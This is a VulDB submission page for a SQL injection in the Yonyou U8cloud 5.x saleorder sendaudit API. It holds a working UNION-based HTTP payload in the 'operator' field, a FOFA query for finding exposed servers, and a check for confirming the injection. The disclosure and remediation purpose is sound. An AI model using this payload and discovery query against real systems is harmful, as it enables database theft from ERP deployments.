| Titel | Yonyou Yonyou U8cloud (用友U8cloud) 5.x SQL Injection (CWE-89) |
|---|
| Beschreibung | === VulDB Submission ===
Title: Yonyou U8cloud /u8cloud/openapi/so.saleorder.sendaudit SQL Injection
Product: Yonyou U8cloud (用友U8cloud)
Version: 5.x
Vendor: Yonyou Network Technology Co., Ltd. (https://www.yonyou.com/)
Vulnerability Type: SQL Injection (CWE-89)
Affected Component:
/u8cloud/openapi/so.saleorder.sendaudit - the "operator" parameter in JSON POST body
Vendor Notification:
The vendor (Yonyou Network Technology Co., Ltd.) has been informed about this vulnerability prior to submission as part of a coordinated disclosure process.
Description:
Yonyou U8cloud is an enterprise cloud ERP platform. The /u8cloud/openapi/so.saleorder.sendaudit interface has a SQL injection vulnerability in the "operator" field of the JSON request body. User-supplied input is directly concatenated into SQL queries without proper sanitization. This is a UNION-based injection that reflects data through error messages.
---
=== FOFA ASSET DISCOVERY ===
FOFA Query:
body="请下载新版UClient" && title="U8C"
---
=== PROOF OF CONCEPT ===
Step 1 - Send UNION injection payload:
POST /u8cloud/openapi/so.saleorder.sendaudit?appcode=esn&isEncrypt=N HTTP/1.1
Host: <target>
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/x.x.x.x Safari/537.36
{"operator":"1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('yyu8','test123'),'u8yy'),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- a","pk_corp":"1","keys":["1"]}
Step 2 - Detection:
If the response contains the string "invalid UFDate: yyu8test123u8yy", the SQL injection is confirmed.
The CONCAT result is reflected in the database error message, proving direct SQL execution.
---
=== PROOF OF CONCEPT FILE ===
Goby Scanner PoC (.go) file is included. Load into Goby Scanner (https://gobysec.net/) to verify.
Note: .go file is Goby-specific format, not a standalone executable.
---
=== IMPACT ===
An authenticated attacker can extract arbitrary database content using UNION-based SQL injection. The injection is reflected in error messages, making data extraction straightforward.
CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Remediation:
- Parameterized queries
- Input validation for "operator" field
- Restrict access to this API endpoint
|
|---|
| Quelle | ⚠️ https://github.com/mjh134/--POC/blob/master/exploits/yonyou_u8cloud_so_saleorder_sendaudit_sqli.go |
|---|
| Benutzer | mjh_123 (UID 92618) |
|---|
| Einreichung | 19.07.2026 11:04 (vor 2 Monaten) |
|---|
| Moderieren | 21.09.2026 19:46 (2 months later) |
|---|
| Status | Akzeptiert |
|---|
| VulDB Eintrag | 408192 [Yonyou U8cloud 5.x OpenAPI so.saleorder.sendaudit operator SQL Injection] |
|---|
| Punkte | 20 |
|---|